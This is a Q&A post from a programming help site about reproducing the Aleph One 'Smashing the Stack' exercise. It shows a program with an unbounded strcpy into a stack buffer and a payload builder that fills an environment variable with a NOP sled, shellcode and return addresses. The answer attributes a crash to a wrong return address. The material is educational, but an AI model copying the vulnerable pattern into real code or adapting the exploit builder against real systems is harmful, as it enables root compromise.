Search code examples
cstack-overflowsudoshellcodestack-smash

Instructions in C buffer being executed only as sudo


I'm working on a buffer overflow attack as described in Aleph One's article Smashing the Stack for Fun and Profit.

As proposed in the article, I've written a program (shellcode.c) that plants the malicious code (shellcode) into an environment variable ($EGG). After which $EGG is passed as an argument to the program (vulnerable.c) that I wish to attack, causing a buffer in that program to overflow and resulting in execution of the shellcode.

This is what the buffer looks like -

[NNNNNNNNN...NNNNNNSSSSSSS...SSSSSSSRRRRR...RRRRRR]

where N is the NOP instruction (see NOP sled), S is my shellcode, and R is an address (return address into the buffer that will cause Instruction Pointer to jump from code segment into the above stack buffer and begin executing instructions).

When I run the executables of shellcode.c and vulnerable.c as a normal user, I face the following problem - When the Instruction Pointer is redirected into the buffer and encounters an instruction, a segmentation fault results. However, upon executing the programs as sudo, the instructions in the buffer are executed without any problems and the subsequent shellcode in the buffer is successfully executed, bringing up a root terminal thus completing the exploit. Can anyone shed light on why this could be happening?

I have disabled the following protections - Stack Smashing Protection, ASLR and Linux's NX (eXecute Disable Bit).

I am compiling using gcc 4.4.3 (Target: i486-linux-gnu) and executing on Ubuntu 10.04 (Lucid Lynx) running kernel 2.6.32.

The following are my two programs:

vulnerable.c

int main(int argc, char** argv) {
char buffer[512];

if(argc>1)
    strcpy(buffer,argv[1]);

return (EXIT_SUCCESS);
}    

shellcode.c

int main(int argc,char** argv) {

char *buff, *ptr;
int *addr,retaddr;
int i;
int offset = DEFAULT_OFFSET;
int buffersize = DEFAULT_SIZE;

/* Set buffersize and predicted offset if arguments are supplied to the program
 */ 
if(argc>1)
    buffersize = atoi(argv[1]);
if(argc>2)
    offset = atoi(argv[2]);


if(!(buff=(char*)malloc(buffersize))) {
    printf("Can't allocate memory!");
    exit(1);
}

retaddr = getStackPointer() - offset;
printf("%d\n",strlen(shellcode));
printf("Using address: 0x%x\n",retaddr);

addr = (int *)buff;
for(i=0;i<buffersize;i+=4)
    *(addr++) = retaddr;

for(i=0;i<buffersize/2;i++)
    buff[i] = NOP;

ptr = buff + ((buffersize/2) - (strlen(shellcode)/2));
for(i=0;i<strlen(shellcode);i++)
    *(ptr++) = shellcode[i];

buff[buffersize -1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");

 return (EXIT_SUCCESS);
}

Solution

  • I was getting a segmentation fault not because I wasn't root user but because the return address (RRRR...RRR) that I was hardcoding into the buffer was outside the stack address space of the executing program vulnerable.c. I fixed this by estimating the correct return address (by hit and trial, as described in Aleph One's article).